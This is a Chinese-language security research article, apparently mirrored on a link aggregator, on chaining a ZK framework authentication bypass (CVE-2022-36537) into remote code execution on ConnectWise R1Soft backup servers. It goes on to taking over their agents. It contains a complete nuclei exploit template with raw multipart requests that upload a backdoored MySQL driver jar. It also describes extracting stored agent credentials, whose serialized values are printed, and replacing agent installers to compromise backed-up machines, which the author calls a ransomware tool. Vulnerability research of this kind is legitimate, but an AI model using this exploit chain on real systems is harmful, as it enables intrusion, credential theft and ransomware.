5

ZK框架权限绕过导致R1Soft RCE并接管Agent

 1 year ago
source link: https://y4er.com/posts/zk-framework-auth-bypass-case-r1soft-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

ZK框架权限绕过导致R1Soft RCE并接管Agent

 2022-11-17  2022-11-17  约 5414 字   预计阅读 11 分钟 

文章首发在tttang https://tttang.com/archive/1833/

http://wiki.r1soft.com/display/ServerBackup/Install+Server+Backup+Manager+on+Debian+and+Ubuntu.html

下载 http://repo.r1soft.com/6.16.3/75/trials/R1soft-ServerBackup-Manager-SE-linux64.zip

http://repo.r1soft.com/6.16.3/75/r1soft-getmodule-1.0.0-101_amd64.deb

把deb放到同一个目录,然后 dpkg -i *.deb

serverbackup-setup --user admin --pass r1soft
serverbackup-setup --http-port 8080 --https-port 8443
systemctl restart sbm-server.service

http://172.16.9.145:8080/login.zul

调试java需要编辑/usr/sbin/r1soft/conf/server.conf加一行

additional.23=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

这个漏洞分为两个部分

  1. ZK framework的一个权限绕过漏洞ZK-5150
  2. 上传jar包rce

先来看第一个洞

1 ZK-5150权限绕过

https://tracker.zkoss.org/browse/ZK-5150

根据漏洞描述来看,/zkau/upload路由对应的AuUploader中可以通过nextURI进行forward转发操作。这个forward可能被用来绕过权限认证,或者泄露web.xml等敏感文件。

看一下GitHub的代码

https://github.com/zkoss/zk/blob/v9.6.1/zk/src/org/zkoss/zk/au/http/AuUploader.java#LL217C3-L217C3

public void service(HttpServletRequest request, HttpServletResponse response, String pathInfo)
			throws ServletException, IOException {
		final Session sess = Sessions.getCurrent(false);
		if (sess == null) {
			response.setIntHeader("ZK-Error", HttpServletResponse.SC_GONE);
			return;
		}

		final Map<String, String> attrs = new HashMap<String, String>();
		String alert = null, uuid = null, nextURI = null, sid = null;
		Desktop desktop = null;
		try {
			if (!isMultipartContent(request)) {
				if ("uploadInfo".equals(request.getParameter("cmd"))) {
					// refix ZK-2056: should escape both XML and Javascript
					uuid = escapeParam(request.getParameter("wid"));
					sid = escapeParam(request.getParameter("sid"));
					desktop = ((WebAppCtrl) sess.getWebApp()).getDesktopCache(sess)
							.getDesktop(XMLs.encodeText(request.getParameter("dtid")));

					Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
					Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));

					// ZK-2329
					if (percent == null || size == null) {
						response.getWriter().write("ignore");
						return;
					}

					final String key = uuid + '_' + sid;
					Object sinfo = size.get(key);
					if (sinfo instanceof String) {
						response.getWriter().write("error:" + sinfo);
						size.remove(key);
						percent.remove(key);
						return;
					}
					final Integer p = percent.get(key);
					final Long cb = (Long) sinfo;
					response.getWriter()
							.write((p != null ? p.intValue() : -1) + "," + (cb != null ? cb.longValue() : -1));
					return;
				} else
					alert = generateAlertMessage(ILLEGAL_UPLOAD, "enctype must be multipart/form-data");
			} else {
				// refix ZK-2056: should escape both XML and Javascript
				uuid = escapeParam(request.getParameter("uuid"));
				sid = escapeParam(request.getParameter("sid"));

				if (uuid == null || uuid.length() == 0) {
					alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "uuid is required!");
				} else {
					attrs.put("uuid", uuid);
					attrs.put("sid", sid);

					// refix ZK-2056: should escape both XML and Javascript
					final String dtid = escapeParam(request.getParameter("dtid"));
					if (dtid == null || dtid.length() == 0) {
						alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "dtid is required!");
					} else {
						desktop = ((WebAppCtrl) sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);
						final Map<String, Object> params = parseRequest(request, desktop, uuid + '_' + sid);
						nextURI = (String) params.get("nextURI");

						processItems(desktop, params, attrs);
					}
				}
			}
		} catch (Throwable ex) {
			if (uuid == null) {
				uuid = request.getParameter("uuid");
				if (uuid != null)
					attrs.put("uuid", uuid);
			}
			if (nextURI == null)
				nextURI = request.getParameter("nextURI");

			if (ex instanceof ComponentNotFoundException) {
				alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, Messages.get(MZk.UPDATE_OBSOLETE_PAGE, uuid));
			} else {
				alert = handleError(ex);
			}

			if (desktop != null) {
				Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
				Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
				final String key = uuid + '_' + sid;
				if (percent != null) {
					percent.remove(key);
					size.remove(key);
				}
			}
		}
		if (attrs.get("contentId") == null && alert == null)
			//B65-ZK-1724: display more meaningful errormessage
			alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "Upload Aborted : (contentId is required)");

		if (alert != null) {
			if (desktop == null) {
				response.setIntHeader("ZK-Error", HttpServletResponse.SC_GONE);
				return;
			}
			Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
			Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
			final String key = uuid + '_' + sid;
			if (percent != null) {
				percent.remove(key);
				size.put(key, alert);
			}
		}
		if (log.isTraceEnabled())
			log.trace(Objects.toString(attrs));

		if (nextURI == null || nextURI.length() == 0)
			nextURI = "~./zul/html/fileupload-done.html.dsp";
		Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
	}

nextURI可以从request中接收,由Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);转发过去

想要给nextURI赋值,必须满足!isMultipartContent(request)==true这个条件

    public static final boolean isMultipartContent(HttpServletRequest request) {
        return "post".equals(request.getMethod().toLowerCase(Locale.ENGLISH)) && FileUploadBase.isMultipartContent(new ServletRequestContext(request));
    }

很明显,就是需要Multipart发包传参数。

然后在下面这个地方有坑,这个放到后面说。

desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);

parseRequest函数,将请求体Multipart解析出来,放入一个map中

然后nextURI = (String)size.get("nextURI");拿到nextURI,最后通过Servlets.forward转发nextURI的请求。

我们以http://172.16.9.145:8080/Configuration/server-info.zul为例,测试一下通过nextURI转发绕过权限认证,这个页面是需要登陆才能访问的。

没有权限访问,所以跳转到login

接下来使用nextURI转发

没成功,断点调试一下

发现在desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);这个地方取不到dtid为dd的Desktop对象。

getDesktopCache中缓存为空值,这个东西不知道从哪进行给他添加缓存,然后我开了bp抓包,观察dtid的参数值及其引用的地方发现,dtid对应的应该是一个页面的缓存标识。

比如我访问/login.zul,赋予一个session

并且此时页面的给了一个dt值

我们加上session并且将这个dt给上

可见确实绕过了权限认证,并且拿到了一些敏感信息,比如服务器:PublicKey、serverBuildDate

此时调试来看dtid对应的就是login.zul页面

好了,到此为止,我们绕过了权限认证,捋一下利用步骤

  1. 访问首页,拿到dtid和JSESSIONID
  2. 通过/zkau/upload的nextURI转发请求
  3. 受限于Multipart要求,只能转发POST请求。

所以需要找到POST请求的可以RCE的点。

2 mysql driver RCE

huntress的文章中已经写了

代码在com.r1soft.backup.server.web.configuration.DatabaseDriversWindow#onUpload

跟进com.r1soft.backup.server.facade.DatabaseFacade#uploadMySQLDriver

先判断MySQLUtil.hasMySQLDriverClass(var5),然后将jar包调用ClassPathUtil.addFile(var5);加入到classpath。

hasMySQLDriverClass判断你的jar包是否有org.gjt.mm.mysql.Driver这个类

调用URLClassLoader

然后testMySQLDatabaseDriver测试驱动

    public Boolean testMySQLDatabaseDriver() {
        return MySQLDatabaseConnection.driverTest();
    }


    public static boolean driverTest() {
        try {
            Class.forName("org.gjt.mm.mysql.Driver");
            return true;
        } catch (ClassNotFoundException var1) {
            return false;
        }
    }

所以我们可以传jar包,内置一个org.gjt.mm.mysql.Driver类,并且写上static代码块来执行自定义代码。

rce的整个过程捋通了,那么就是痛苦的构造exp的时候,怎么痛苦往下看就知道了。

先来一个数据库jar包,直接抄 https://github.com/airman604/jdbc-backdoor 的,改下类名即可,编译的时候一定要兼容低版本jdk,因为默认是jdk7的,用8编译出来的class会报错。

javac -source 1.6 -target 1.6  org/gjt/mm/mysql/Driver.java

接下来构造请求包,我先把我的exp贴出来,nuclei模版

id: R1Soft

info:
  name: ConnectWise R1Soft Authentication Bypass RCE
  author: Y4er
  severity: critical
  description: |
        The ZK framework disclosed a permission bypass vulnerability, and R1Soft used the ZK framework, resulting in a permission bypass, and remote code execution can be performed by uploading the database driver.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36537
    - https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin
  tags: cve2022,zk,ConnectWise,R1Soft,RCE

variables:
  uuid: '{{to_lower(rand_base(5))}}'

requests:
  - raw:
      - |
        GET /login.zul HTTP/1.1
        Host: {{Hostname}}
        Connection: close        


      - |
        POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="nextURI";

        /Configuration/database-drivers.zul
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

      - |
        POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="nextURI";

        /zkau?dtid={{databasedtid}}&cmd_0=onClick&uuid_0={{mysqlDriverUploadButtonid}}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

      - |
        POST /zkau/upload?uuid={{Fileuploadid}}&dtid={{databasedtid}}&sid=0&maxsize=-1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jar"
        Content-Type: application/java-archive

        {{base64_decode('jar包base64编码')}}
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

      - |
        POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="nextURI";

        /zkau?dtid={{databasedtid}}&cmd_0=onMove&opt_0=i&uuid_0={{FileuploadDlgid}}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={{FileuploadDlgid}}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{{Fileuploadid}}%22%2C%22sid%22%3A%220%22%7D
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

      - |
        POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="nextURI";

        /zkau?dtid={{databasedtid}}&cmd_0=onClose&uuid_0={{FileuploadDlgid}}&data_0=%7B%22%22%3Atrue%7D
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "The file does not contain the MySQL JDBC database driver"
          - "The MySQL database driver was uploaded successfully"
        part: body

    extractors:
      - type: regex
        name: logindtid
        internal: true
        group: 1
        regex:
          - "dt:'(.*?)',cu:'',uu:'\\\\x2Fzkau',ru:'\\\\x2Flogin.zul'"
      - type: regex
        name: databasedtid
        internal: true
        group: 1
        regex:
          - "dt:'(.*?)',cu:'',uu:'\\\\x2Fzkau',ru:'\\\\x2FConfiguration\\\\x2Fdatabase\\\\x2Ddrivers.zul"
      - type: regex
        name: mysqlDriverUploadButtonid
        internal: true
        group: 1
        regex:
          - "'zul.wgt.Button','(.*)',{id:'mysqlDriverUploadButton'"
      - type: regex
        name: FileuploadDlgid
        internal: true
        group: 1
        regex:
          - "zul.fud.FileuploadDlg','(.*)',"
      - type: regex
        name: Fileuploadid
        internal: true
        group: 1
        regex:
          - "'zul.wgt.Fileupload','(.*?)',"

反弹shell成功

上传的jar包在/usr/sbin/r1soft/conf/database-drivers/mysql-connector.jar,只能打一次,因为static只会被加载一次。

编写exp只需要把正常的上传包用nextURI转发下,好像有4、5个请求包,模拟一下就行了。

看我的exp可见需要几个参数logindtid、databasedtid、mysqlDriverUploadButtonid、FileuploadDlgid、Fileuploadid,用nuclei提取出来即可,除了有点恶心人以外没啥技术含量。

在使用nextURI触发/Configuration/database-drivers.zul拿dtid时,一直没找到这个zul应该怎么访问,我登陆进去访问抓的请求包一直都是直接POST的/zkau,然后在看com.r1soft.backup.server.web.configuration.LDAPAuthenticationWindow的时候发现了

放浏览器里发现可以直接打开,然后就按规律DatabaseDriversWindow对应/Configuration/database-drivers.zul,由此才拿到关键的database dtid

写文章的时候思来想去觉得这种上传jar包的方式不优雅,一个不小心jar包就把系统整炸了,而且收到Class.forName的影响,只能打一次,所以尝试找了一下其他方式

com.r1soft.backup.server.web.configuration.LDAPTestConnectionWindow#testConnection

有ldap操作

不过没有调用lookup,自己用unboundid库实现了一个ldap server,lookup会触发processSearchResult,而new InitialDirContext(var9)只会触发processSimpleBindRequest、processSimpleBindResult,processSimpleBindResult中好像没有办法返回这些属性

Entry e = new Entry(baseDN);
e.addAttribute("javaClassName", clazzName);
e.addAttribute("javaCodeBase", Config.codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", clazzName);

所以好像利用不了,如果有对ldap熟悉的师傅希望可以指点一下。

huntress的文章中演示了一个脚本直接勒索所有agent,我看了下有几种方式。

  1. 数据库中存储了agent的账号密码,打了r1soft server之后直接smb过去
  2. 替换agent文件

数据库文件在/usr/sbin/r1soft/data/h2/r1backup.h2.db

没找到密码在哪配置的,看日志配了c3p0库,所以直接断点断到com.mchange.v2.c3p0.impl.NewProxyConnection#NewProxyConnection(java.sql.Connection)

向上回溯到org.hibernate.engine.jdbc.internal.LogicalConnectionImpl#getConnection拿到数据库明文密码

select MAPKEY,DATA from TASKEXECUTIONCONTEXTDATA where MAPKEY like 'agent%'表中发现账号密码

agentUser 0xACED000574000D61646D696E6973747261746F72
agentHost 0xACED000574000C3137322E31362E392E313436
agentPass 0xACED000574000A61646D696E3136214023

agent的明文密码就有了

另一种方式是直接替换掉服务端的agent文件。

root@ubuntu:/usr/sbin/r1soft# ls Deployment/Agent/
r1soft-getmodule-amd64.deb        serverbackup-agent-i386.rpm              serverbackup-enterprise-agent-amd64.deb       serverbackup-setup-i386.deb.asc
r1soft-getmodule-amd64.deb.asc    serverbackup-agent-i386.rpm.asc          serverbackup-enterprise-agent-amd64.deb.asc   serverbackup-setup-i386.rpm
r1soft-getmodule-i386.deb         serverbackup-agent-x86_64.rpm            serverbackup-enterprise-agent-i386.deb        serverbackup-setup-i386.rpm.asc
r1soft-getmodule-i386.deb.asc     serverbackup-agent-x86_64.rpm.asc        serverbackup-enterprise-agent-i386.deb.asc    serverbackup-setup-x86_64.rpm
r1soft-getmodule-i386.rpm         serverbackup-async-agent-amd64.deb       serverbackup-enterprise-agent-i386.rpm        serverbackup-setup-x86_64.rpm.asc
r1soft-getmodule-i386.rpm.asc     serverbackup-async-agent-amd64.deb.asc   serverbackup-enterprise-agent-i386.rpm.asc    ServerBackup-Windows-Agent-x64.msi
r1soft-getmodule-x86_64.rpm       serverbackup-async-agent-i386.deb        serverbackup-enterprise-agent-x86_64.rpm      ServerBackup-Windows-Agent-x64.msi.asc
r1soft-getmodule-x86_64.rpm.asc   serverbackup-async-agent-i386.deb.asc    serverbackup-enterprise-agent-x86_64.rpm.asc  ServerBackup-Windows-Agent-x86.msi
serverbackup-agent-amd64.deb      serverbackup-async-agent-i386.rpm        ServerBackup-Service.exe                      ServerBackup-Windows-Agent-x86.msi.asc
serverbackup-agent-amd64.deb.asc  serverbackup-async-agent-i386.rpm.asc    serverbackup-setup-amd64.deb
serverbackup-agent-i386.deb       serverbackup-async-agent-x86_64.rpm      serverbackup-setup-amd64.deb.asc
serverbackup-agent-i386.deb.asc   serverbackup-async-agent-x86_64.rpm.asc  serverbackup-setup-i386.deb

当添加完需要备份的机器,然后部署agent时,点击“Deploy Agent Software”

当账号密码正确时,我们应该考虑他是怎么部署agent到目标机器上的,跟代码看一下。当点击提交时,会向任务队列中放一个RemoteAgentDeploymentTask实例来异步安装agent

该实例真正安装agent的函数处理在

com.r1soft.backup.server.worker.RemoteAgentDeploymentWorker#processWindowsDeployment

关键的点就图中圈起来的5个步骤

第一,尝试连接远程rpc服务

第二,初始化IPC共享临时目录

第三,通过smb把agent安装文件写入ipc

    public void transferBinary() throws DeploymentException, InterruptedException {
        this.transferBinary(WINDOWS_SERVICE_BINARY_PATH);
        this.transferBinary(WINDOWS_32BIT_INSTALLER_PATH);
        this.transferBinary(WINDOWS_64BIT_INSTALLER_PATH);
    }

第四,传输公钥和部署key

    public void transferKey() throws DeploymentException, InterruptedException {
        this.transferBinary(PUBLIC_KEY_PATH, this.deploymentKey);
    }

第五,远程创建并启动ServerBackupAgentDeployment服务

该服务就是执行ipc共享中传过来的安装包

很明显了。

那么在实际利用中,我们没有agent的账号密码,应该怎么用呢?

实际目标应该是已经配好了agent,会增加一个“Update Agent Software”的选项

这个不需要输入密码,可以直接替换安装包ServerBackup-Windows-Agent-x64.msi或者wsbausx64.exe,即可rce agent。

不过有个小坑,我们跟一下来看

agent update的操作在com.r1soft.backup.server.task.AgentUpdateTask#run

windows系统会进入com.r1soft.backup.server.task.AgentUpdateWindows#run

这里会比较agent版本号,获取server上的版本号是通过读文件的形式

com.r1soft.backup.server.facade.AgentFacade#getAgentInstallerInfo

所以修改/usr/sbin/r1soft/bin/scripts/WindowsAgentInstallerVersion文件为一个大的版本号,这样就会重新安装agent了。

接着先通过restoreFiles传输安装包

然后执行下面两条命令

cmd.exe /c del C:\Windows\Temp\wsbaus*
cmd.exe /c C:\Windows\Temp\2ade228f-c92e-49c2-8b63-fd4bfdc9040f_wsbausx64.exe install
cmd.exe /c echo {"ServiceCtrlTimeout":300,"AgentService":"cdp","MsiPackage":"2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi"} > C:\Windows\Temp\wsbaus.config
net start wsbaus

wsbausx64.exe install安装服务,然后wsbaus服务会启动2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi

所以替换安装包,或者替换wsbaus服务都可以控制agent。

这篇文章从ZK权限绕过,使用nextURI转发绕过权限认证,然后用mysql drivers jar包来rce r1soft server端,然后通过下发更新包的形式控制agent,勒索神器。洋洋洒洒写了这么多字,希望对读者有所帮助。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK